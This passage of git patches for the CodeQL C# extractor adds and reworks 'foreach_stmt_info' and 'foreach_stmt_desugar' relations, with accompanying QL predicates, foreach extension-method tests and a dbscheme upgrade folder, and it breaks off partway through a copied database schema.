Method moveNext, Method dispose, Property current, bool isAsync) + { + trapFile.WriteTuple("foreach_stmt_info", @foreach, element, getEnumerator, moveNext, dispose, current, isAsync ? 2 : 1); + } + internal static void commentblock(this TextWriter trapFile, CommentBlock k) { trapFile.WriteTuple("commentblock", k); diff --git a/csharp/ql/src/Dead Code/DeadCode.qll b/csharp/ql/src/Dead Code/DeadCode.qll index e3584eaa1a4..efb7a76ee78 100644 --- a/csharp/ql/src/Dead Code/DeadCode.qll +++ b/csharp/ql/src/Dead Code/DeadCode.qll @@ -43,6 +43,8 @@ Expr getAMethodAccess(Method m) { predicate potentiallyAccessedByForEach(Method m) { m.hasName("GetEnumerator") and m.getDeclaringType().getABaseType+().hasQualifiedName("System.Collections.IEnumerable") + or + foreach_stmt_info(_, _, m, _, _, _, _) } predicate isRecursivelyLiveExpression(Expr e) { diff --git a/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Foreach.qll b/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Foreach.qll index 9dee8221235..a526ec5bdcd 100644 --- a/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Foreach.qll +++ b/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Foreach.qll @@ -171,11 +171,7 @@ private class TranslatedForeachMoveNext extends TranslatedCompilerGeneratedCall, override Callable getInstructionFunction(InstructionTag tag) { tag = CallTargetTag() and - exists(Callable internal | - internal.getName() = "MoveNext" and - internal.getReturnType() instanceof BoolType and - result = internal - ) + result = generatedBy.getMoveNext() } override Type getCallResultType() { result instanceof BoolType } @@ -205,28 +201,9 @@ private class TranslatedForeachGetEnumerator extends TranslatedCompilerGenerated result = getInstructionFunction(CallTargetTag()).getReturnType() } - private Callable getEnumeratorCallable() { - if exists(generatedBy.getIterableExpr().getType().(ValueOrRefType).getAMember("GetEnumerator")) - then - result = generatedBy.getIterableExpr().getType().(ValueOrRefType).getAMember("GetEnumerator") - else - exists(Interface inter | - inter = - generatedBy - .getIterableExpr() - .getType() - .(ValueOrRefType) - // There could be some abstract base types until we reach `IEnumerable` (eg. `Array`) - .getABaseType*() - .getABaseInterface() and - inter.getName() = "IEnumerable" and - result = inter.getAMember("GetEnumerator") - ) - } - override Callable getInstructionFunction(InstructionTag tag) { tag = CallTargetTag() and - result = getEnumeratorCallable() + result = generatedBy.getGetEnumerator() } override TranslatedExpr getArgument(int id) { none() } @@ -247,7 +224,7 @@ private class TranslatedForeachCurrent extends TranslatedCompilerGeneratedCall, TranslatedForeachCurrent() { this = TTranslatedCompilerGeneratedElement(generatedBy, 5) } - override Type getCallResultType() { result = generatedBy.getAVariable().getType() } + override Type getCallResultType() { result = generatedBy.getElementType() } override TranslatedExpr getArgument(int id) { none() } @@ -262,10 +239,7 @@ private class TranslatedForeachCurrent extends TranslatedCompilerGeneratedCall, override Callable getInstructionFunction(InstructionTag tag) { tag = CallTargetTag() and - exists(Property prop | - prop.getName() = "Current" and - result = prop.getGetter() - ) + result = generatedBy.getCurrent().getGetter() } } @@ -280,10 +254,7 @@ private class TranslatedForeachDispose extends TranslatedCompilerGeneratedCall, override Callable getInstructionFunction(InstructionTag tag) { tag = CallTargetTag() and - exists(Callable dispose | - dispose.getName() = "Dispose" and - result = dispose - ) + result = generatedBy.getDispose() } final override Type getCallResultType() { result instanceof VoidType } diff --git a/csharp/ql/src/semmle/code/csharp/Stmt.qll b/csharp/ql/src/semmle/code/csharp/Stmt.qll index 8fadbc1267b..68e26ff0a8c 100644 --- a/csharp/ql/src/semmle/code/csharp/Stmt.qll +++ b/csharp/ql/src/semmle/code/csharp/Stmt.qll @@ -582,6 +582,27 @@ class ForeachStmt extends LoopStmt, @foreach_stmt { */ Expr getIterableExpr() { result = this.getChild(1) } + /** Gets the called `GetEnumerator` method. */ + Method getGetEnumerator() { foreach_stmt_info(this, _, result, _, _, _, _) } + + /** Gets the called `MoveNext` or `MoveNextAsync` method. */ + Method getMoveNext() { foreach_stmt_info(this, _, _, result, _, _, _) } + + /** Gets the called `Dispose` or `DisposeAsync` method. */ + Method getDispose() { foreach_stmt_info(this, _, _, _, result, _, _) } + + /** Gets the called `Current` property. */ + Property getCurrent() { foreach_stmt_info(this, _, _, _, _, result, _) } + + /** + * Gets the intermediate type to which the `Current` property is converted before + * being converted to the iteration variable type. + */ + Type getElementType() { foreach_stmt_info(this, result, _, _, _, _, _) } + + /** Holds if this `foreach` statement is asynchronous. */ + predicate isAsync() { foreach_stmt_info(this, _, _, _, _, _, 2) } + override string toString() { result = "foreach (... ... in ...) ..." } override string getAPrimaryQlClass() { result = "ForeachStmt" } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 68db341c2ed..bcfb223217d 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -982,6 +982,15 @@ catch_type( int type_id: @type_or_ref ref, int kind: int ref /* explicit = 1, implicit = 2 */); +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int element_type_id: @type_or_ref ref, + int getenumerator_id: @method ref, + int movenext_id: @method ref, + int dispose_id: @method ref, + int current_id: @property ref, + int kind: int ref /* non-async = 1, async = 2 */); + /** EXPRESSIONS **/ expressions( diff --git a/csharp/ql/test/library-tests/csharp9/ForeachExtension.cs b/csharp/ql/test/library-tests/csharp9/ForeachExtension.cs new file mode 100644 index 00000000000..0ef36fbc7d9 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/ForeachExtension.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Threading.Tasks; + +static class Extensions +{ + public static IEnumerator GetEnumerator(this IEnumerator enumerator) => enumerator; + public static IAsyncEnumerator GetAsyncEnumerator(this IAsyncEnumerator enumerator) => enumerator; + public static IEnumerator GetEnumerator(this int count) + { + for (int i = 0; i < count; i++) + { + yield return i; + } + } +} + +class Program +{ + async Task Main() + { + IEnumerator enumerator1 = Enumerable.Range(0, 10).GetEnumerator(); + foreach (var item in enumerator1) + { + } + + IAsyncEnumerator enumerator2 = GetAsyncEnumerator(); + await foreach (var item in enumerator2) + { + } + + foreach (var item in 42) + { + } + + foreach (var i in new int[] { 1, 2, 3 }) // not extension + { + } + } + + static async IAsyncEnumerator GetAsyncEnumerator() + { + yield return 0; + await Task.Delay(1); + yield return 1; + } +} + +// semmle-extractor-options: /r:System.Linq.dll \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index ea3540ce4ce..e203842664b 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -166,6 +166,109 @@ Discard.cs: # 10| 4: [BlockStmt] {...} # 10| 0: [ReturnStmt] return ...; # 10| 0: [IntLiteral] 0 +ForeachExtension.cs: +# 6| [Class] Extensions +# 8| 4: [ExtensionMethod] GetEnumerator +# 8| -1: [TypeMention] IEnumerator +# 8| 1: [TypeMention] T +#-----| 1: (Type parameters) +# 8| 0: [TypeParameter] T +#-----| 2: (Parameters) +# 8| 0: [Parameter] enumerator +# 8| -1: [TypeMention] IEnumerator +# 8| 1: [TypeMention] T +# 8| 4: [ParameterAccess] access to parameter enumerator +# 9| 6: [ExtensionMethod] GetAsyncEnumerator +# 9| -1: [TypeMention] IAsyncEnumerator +# 9| 1: [TypeMention] T +#-----| 1: (Type parameters) +# 9| 0: [TypeParameter] T +#-----| 2: (Parameters) +# 9| 0: [Parameter] enumerator +# 9| -1: [TypeMention] IAsyncEnumerator +# 9| 1: [TypeMention] T +# 9| 4: [ParameterAccess] access to parameter enumerator +# 10| 8: [ExtensionMethod] GetEnumerator +# 10| -1: [TypeMention] IEnumerator +# 10| 1: [TypeMention] int +#-----| 2: (Parameters) +# 10| 0: [Parameter] count +# 10| -1: [TypeMention] int +# 11| 4: [BlockStmt] {...} +# 12| 0: [ForStmt] for (...;...;...) ... +# 12| -1: [LocalVariableDeclAndInitExpr] Int32 i = ... +# 12| -1: [TypeMention] int +# 12| 0: [LocalVariableAccess] access to local variable i +# 12| 1: [IntLiteral] 0 +# 12| 0: [LTExpr] ... < ... +# 12| 0: [LocalVariableAccess] access to local variable i +# 12| 1: [ParameterAccess] access to parameter count +# 12| 1: [PostIncrExpr] ...++ +# 12| 0: [LocalVariableAccess] access to local variable i +# 13| 2: [BlockStmt] {...} +# 14| 0: [YieldReturnStmt] yield return ...; +# 14| 0: [LocalVariableAccess] access to local variable i +# 19| [Class] Program +# 21| 5: [Method] Main +# 21| -1: [TypeMention] Task +# 22| 4: [BlockStmt] {...} +# 23| 0: [LocalVariableDeclStmt] ... ...; +# 23| 0: [LocalVariableDeclAndInitExpr] IEnumerator enumerator1 = ... +# 23| -1: [TypeMention] IEnumerator +# 23| 1: [TypeMention] int +# 23| 0: [LocalVariableAccess] access to local variable enumerator1 +# 23| 1: [MethodCall] call to method GetEnumerator +# 23| -1: [MethodCall] call to method Range +# 23| -1: [TypeAccess] access to type Enumerable +# 23| 0: [TypeMention] Enumerable +# 23| 0: [IntLiteral] 0 +# 23| 1: [IntLiteral] 10 +# 24| 1: [ForeachStmt] foreach (... ... in ...) ... +# 24| 0: [LocalVariableDeclExpr] Int32 item +# 24| 0: [TypeMention] int +# 24| 1: [LocalVariableAccess] access to local variable enumerator1 +# 25| 2: [BlockStmt] {...} +# 28| 2: [LocalVariableDeclStmt] ... ...; +# 28| 0: [LocalVariableDeclAndInitExpr] IAsyncEnumerator enumerator2 = ... +# 28| -1: [TypeMention] IAsyncEnumerator +# 28| 1: [TypeMention] int +# 28| 0: [LocalVariableAccess] access to local variable enumerator2 +# 28| 1: [MethodCall] call to method GetAsyncEnumerator +# 29| 3: [ForeachStmt] foreach (... ... in ...) ... +# 29| 0: [LocalVariableDeclExpr] Int32 item +# 29| 0: [TypeMention] int +# 29| 1: [LocalVariableAccess] access to local variable enumerator2 +# 30| 2: [BlockStmt] {...} +# 33| 4: [ForeachStmt] foreach (... ... in ...) ... +# 33| 0: [LocalVariableDeclExpr] Int32 item +# 33| 0: [TypeMention] int +# 33| 1: [IntLiteral] 42 +# 34| 2: [BlockStmt] {...} +# 37| 5: [ForeachStmt] foreach (... ... in ...) ... +# 37| 0: [LocalVariableDeclExpr] Int32 i +# 37| 0: [TypeMention] int +# 37| 1: [ArrayCreation] array creation of type Int32[] +# 37| -2: [TypeMention] Int32[] +# 37| 1: [TypeMention] int +# 37| -1: [ArrayInitializer] { ..., ... } +# 37| 0: [IntLiteral] 1 +# 37| 1: [IntLiteral] 2 +# 37| 2: [IntLiteral] 3 +# 38| 2: [BlockStmt] {...} +# 42| 6: [Method] GetAsyncEnumerator +# 42| -1: [TypeMention] IAsyncEnumerator +# 42| 1: [TypeMention] int +# 43| 4: [BlockStmt] {...} +# 44| 0: [YieldReturnStmt] yield return ...; +# 44| 0: [IntLiteral] 0 +# 45| 1: [ExprStmt] ...; +# 45| 0: [AwaitExpr] await ... +# 45| 0: [MethodCall] call to method Delay +# 45| -1: [TypeAccess] access to type Task +# 45| 0: [TypeMention] Task +# 45| 0: [IntLiteral] 1 +# 46| 2: [YieldReturnStmt] yield return ...; +# 46| 0: [IntLiteral] 1 FunctionPointer.cs: # 5| [Class] FnPointer # 7| 5: [Class] Program diff --git a/csharp/ql/test/library-tests/csharp9/foreach.expected b/csharp/ql/test/library-tests/csharp9/foreach.expected new file mode 100644 index 00000000000..39694665cb0 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/foreach.expected @@ -0,0 +1,4 @@ +| ForeachExtension.cs:24:9:26:9 | foreach (... ... in ...) ... | Int32 | sync | Extensions | ForeachExtension.cs:8:34:8:49 | System.Collections.Generic.IEnumerator | - | System.Collections.IEnumerator | - | +| ForeachExtension.cs:29:9:31:9 | foreach (... ... in ...) ... | Int32 | async | Extensions | ForeachExtension.cs:9:39:9:59 | System.Collections.Generic.IAsyncEnumerator | - | System.Collections.Generic.IAsyncEnumerator | - | +| ForeachExtension.cs:33:9:35:9 | foreach (... ... in ...) ... | Int32 | sync | Extensions | ForeachExtension.cs:10:36:10:48 | System.Collections.Generic.IEnumerator | - | System.Collections.IEnumerator | - | +| ForeachExtension.cs:37:9:39:9 | foreach (... ... in ...) ... | Int32 | sync | System.Collections.IEnumerable | - | System.Collections.IEnumerator | - | System.Collections.IEnumerator | - | diff --git a/csharp/ql/test/library-tests/csharp9/foreach.ql b/csharp/ql/test/library-tests/csharp9/foreach.ql new file mode 100644 index 00000000000..38d431d762f --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/foreach.ql @@ -0,0 +1,15 @@ +import csharp + +private string getLocation(Member m) { + if m.fromSource() then result = m.getALocation().(SourceLocation).toString() else result = "-" +} + +private string getIsAsync(ForeachStmt f) { + if f.isAsync() then result = "async" else result = "sync" +} + +from ForeachStmt f +select f, f.getElementType().toString(), getIsAsync(f), + f.getGetEnumerator().getDeclaringType().getQualifiedName(), getLocation(f.getGetEnumerator()), + f.getCurrent().getDeclaringType().getQualifiedName(), getLocation(f.getCurrent()), + f.getMoveNext().getDeclaringType().getQualifiedName(), getLocation(f.getMoveNext()) diff --git a/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected b/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected index cd42090259a..cfec2a5ca11 100644 --- a/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected +++ b/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected @@ -10,8 +10,6 @@ valueType | TypeParameterNullability.cs:19:29:19:29 | T | | TypeParameterNullability.cs:24:29:24:29 | T | valueOrRefType -| FunctionPointer.cs:22:24:22:24 | T | -| FunctionPointer.cs:34:24:34:24 | T | | TypeParameterNullability.cs:5:28:5:28 | T | | TypeParameterNullability.cs:9:28:9:28 | T | | TypeParameterNullability.cs:15:29:15:29 | T | diff --git a/csharp/ql/test/library-tests/csharp9/typeParameterNullability.ql b/csharp/ql/test/library-tests/csharp9/typeParameterNullability.ql index 58d3bfb8fb9..d8a966e2ff2 100644 --- a/csharp/ql/test/library-tests/csharp9/typeParameterNullability.ql +++ b/csharp/ql/test/library-tests/csharp9/typeParameterNullability.ql @@ -1,17 +1,17 @@ import csharp query predicate refType(TypeParameter tp) { - tp.fromSource() and + tp.getFile().getStem() = "TypeParameterNullability" and tp.isRefType() } query predicate valueType(TypeParameter tp) { - tp.fromSource() and + tp.getFile().getStem() = "TypeParameterNullability" and tp.isValueType() } query predicate valueOrRefType(TypeParameter tp) { - tp.fromSource() and + tp.getFile().getStem() = "TypeParameterNullability" and not tp.isRefType() and not tp.isValueType() } diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/TO_CHANGE/upgrade.properties new file mode 100644 index 00000000000..f9cd85e1661 --- /dev/null +++ b/csharp/upgrades/TO_CHANGE/upgrade.properties @@ -0,0 +1,2 @@ +description: Add 'foreach_stmt_info' relation. +compatibility: backwards \ No newline at end of file From 63b0fe10e428a28c47dd8954d6370384007a3e5d Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 4 Feb 2021 11:19:05 +0100 Subject: [PATCH 1102/1241] Rework foreach_stmt_info extraction --- .../Entities/Statements/ForEach.cs | 52 ++++++++++++++++--- .../Semmle.Extraction.CSharp/Tuples.cs | 11 ++-- csharp/ql/src/Dead Code/DeadCode.qll | 2 +- csharp/ql/src/semmle/code/csharp/Stmt.qll | 12 ++--- csharp/ql/src/semmlecode.csharp.dbscheme | 13 +++-- csharp/upgrades/TO_CHANGE/upgrade.properties | 2 +- 6 files changed, 70 insertions(+), 22 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs index ebd0f301b42..6696086b19c 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs @@ -8,6 +8,15 @@ namespace Semmle.Extraction.CSharp.Entities.Statements { internal class ForEach : Statement { + internal enum ForeachSymbolType + { + GetEnumeratorMethod = 1, + CurrentProperty, + MoveNextMethod, + DisposeMethod, + ElementType + } + private ForEach(Context cx, ForEachStatementSyntax stmt, IStatementParentEntity parent, int child) : base(cx, stmt, StmtKind.FOREACH, parent, child) { } @@ -33,13 +42,44 @@ namespace Semmle.Extraction.CSharp.Entities.Statements Statement.Create(cx, Stmt.Statement, this, 2); var info = semanticModel.GetForEachStatementInfo(Stmt); - var getEnumerator = Method.Create(cx, info.GetEnumeratorMethod); - var currentProp = Property.Create(cx, info.CurrentProperty); - var moveNext = Method.Create(cx, info.MoveNextMethod); - var dispose = Method.Create(cx, info.DisposeMethod); - var elementType = Type.Create(cx, info.ElementType); - trapFile.foreach_stmt_info(this, elementType, getEnumerator, moveNext, dispose, currentProp, info.IsAsynchronous); + if (info.Equals(default)) + { + cx.ExtractionError("Could not get foreach statement info", null, Location.Create(cx, this.ReportingLocation), severity: Util.Logging.Severity.Info); + return; + } + + trapFile.foreach_stmt_info(this, info.IsAsynchronous); + + if (info.GetEnumeratorMethod != null) + { + var m = Method.Create(cx, info.GetEnumeratorMethod); + trapFile.foreach_stmt_desugar(this, m, ForeachSymbolType.GetEnumeratorMethod); + } + + if (info.MoveNextMethod != null) + { + var m = Method.Create(cx, info.MoveNextMethod); + trapFile.foreach_stmt_desugar(this, m, ForeachSymbolType.MoveNextMethod); + } + + if (info.DisposeMethod != null) + { + var m = Method.Create(cx, info.DisposeMethod); + trapFile.foreach_stmt_desugar(this, m, ForeachSymbolType.DisposeMethod); + } + + if (info.CurrentProperty != null) + { + var p = Property.Create(cx, info.CurrentProperty); + trapFile.foreach_stmt_desugar(this, p, ForeachSymbolType.CurrentProperty); + } + + if (info.ElementType != null) + { + var t = Type.Create(cx, info.ElementType); + trapFile.foreach_stmt_desugar(this, t, ForeachSymbolType.ElementType); + } } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index cfb797f6ff7..df39d6a836c 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -53,10 +53,15 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("catch_type", @catch, type, explicityCaught ? 1 : 2); } - internal static void foreach_stmt_info(this TextWriter trapFile, Entities.Statements.ForEach @foreach, Type element, Method getEnumerator, - Method moveNext, Method dispose, Property current, bool isAsync) + internal static void foreach_stmt_info(this TextWriter trapFile, Entities.Statements.ForEach @foreach, bool isAsync) { - trapFile.WriteTuple("foreach_stmt_info", @foreach, element, getEnumerator, moveNext, dispose, current, isAsync ? 2 : 1); + trapFile.WriteTuple("foreach_stmt_info", @foreach, isAsync ? 2 : 1); + } + + internal static void foreach_stmt_desugar(this TextWriter trapFile, Entities.Statements.ForEach @foreach, IEntity entity, + Entities.Statements.ForEach.ForeachSymbolType type) + { + trapFile.WriteTuple("foreach_stmt_desugar", @foreach, entity, (int)type); } internal static void commentblock(this TextWriter trapFile, CommentBlock k) diff --git a/csharp/ql/src/Dead Code/DeadCode.qll b/csharp/ql/src/Dead Code/DeadCode.qll index efb7a76ee78..dd0f6104e31 100644 --- a/csharp/ql/src/Dead Code/DeadCode.qll +++ b/csharp/ql/src/Dead Code/DeadCode.qll @@ -44,7 +44,7 @@ predicate potentiallyAccessedByForEach(Method m) { m.hasName("GetEnumerator") and m.getDeclaringType().getABaseType+().hasQualifiedName("System.Collections.IEnumerable") or - foreach_stmt_info(_, _, m, _, _, _, _) + foreach_stmt_desugar(_, m, 1) } predicate isRecursivelyLiveExpression(Expr e) { diff --git a/csharp/ql/src/semmle/code/csharp/Stmt.qll b/csharp/ql/src/semmle/code/csharp/Stmt.qll index 68e26ff0a8c..2846c3255ea 100644 --- a/csharp/ql/src/semmle/code/csharp/Stmt.qll +++ b/csharp/ql/src/semmle/code/csharp/Stmt.qll @@ -583,25 +583,25 @@ class ForeachStmt extends LoopStmt, @foreach_stmt { Expr getIterableExpr() { result = this.getChild(1) } /** Gets the called `GetEnumerator` method. */ - Method getGetEnumerator() { foreach_stmt_info(this, _, result, _, _, _, _) } + Method getGetEnumerator() { foreach_stmt_desugar(this, result, 1) } /** Gets the called `MoveNext` or `MoveNextAsync` method. */ - Method getMoveNext() { foreach_stmt_info(this, _, _, result, _, _, _) } + Method getMoveNext() { foreach_stmt_desugar(this, result, 3) } /** Gets the called `Dispose` or `DisposeAsync` method. */ - Method getDispose() { foreach_stmt_info(this, _, _, _, result, _, _) } + Method getDispose() { foreach_stmt_desugar(this, result, 4) } /** Gets the called `Current` property. */ - Property getCurrent() { foreach_stmt_info(this, _, _, _, _, result, _) } + Property getCurrent() { foreach_stmt_desugar(this, result, 2) } /** * Gets the intermediate type to which the `Current` property is converted before * being converted to the iteration variable type. */ - Type getElementType() { foreach_stmt_info(this, result, _, _, _, _, _) } + Type getElementType() { foreach_stmt_desugar(this, result, 5) } /** Holds if this `foreach` statement is asynchronous. */ - predicate isAsync() { foreach_stmt_info(this, _, _, _, _, _, 2) } + predicate isAsync() { foreach_stmt_info(this, 2) } override string toString() { result = "foreach (... ... in ...) ..." } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index bcfb223217d..16936565fbe 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -984,13 +984,16 @@ catch_type( foreach_stmt_info( unique int id: @foreach_stmt ref, - int element_type_id: @type_or_ref ref, - int getenumerator_id: @method ref, - int movenext_id: @method ref, - int dispose_id: @method ref, - int current_id: @property ref, int kind: int ref /* non-async = 1, async = 2 */); +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + /** EXPRESSIONS **/ expressions( diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/TO_CHANGE/upgrade.properties index f9cd85e1661..0b0c3a88460 100644 --- a/csharp/upgrades/TO_CHANGE/upgrade.properties +++ b/csharp/upgrades/TO_CHANGE/upgrade.properties @@ -1,2 +1,2 @@ -description: Add 'foreach_stmt_info' relation. +description: Add 'foreach_stmt_info' and 'foreach_stmt_desugar' relations. compatibility: backwards \ No newline at end of file From 96248f88458b9469ca0de72839cfb4cf5d0e8715 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 5 Feb 2021 09:23:22 +0100 Subject: [PATCH 1103/1241] Add DB upgrade folder --- .../old.dbscheme | 2070 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 2082 +++++++++++++++++ .../upgrade.properties | 0 3 files changed, 4152 insertions(+) create mode 100644 csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/old.dbscheme create mode 100644 csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/semmlecode.csharp.dbscheme rename csharp/upgrades/{TO_CHANGE => 68db341c2ed1693c2ae6e20ad533c84138cb275a}/upgrade.properties (100%) diff --git a/csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/old.dbscheme b/csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/old.dbscheme new file mode 100644 index 00000000000..68db341c2ed --- /dev/null +++ b/csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/old.dbscheme @@ -0,0 +1,2070 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: 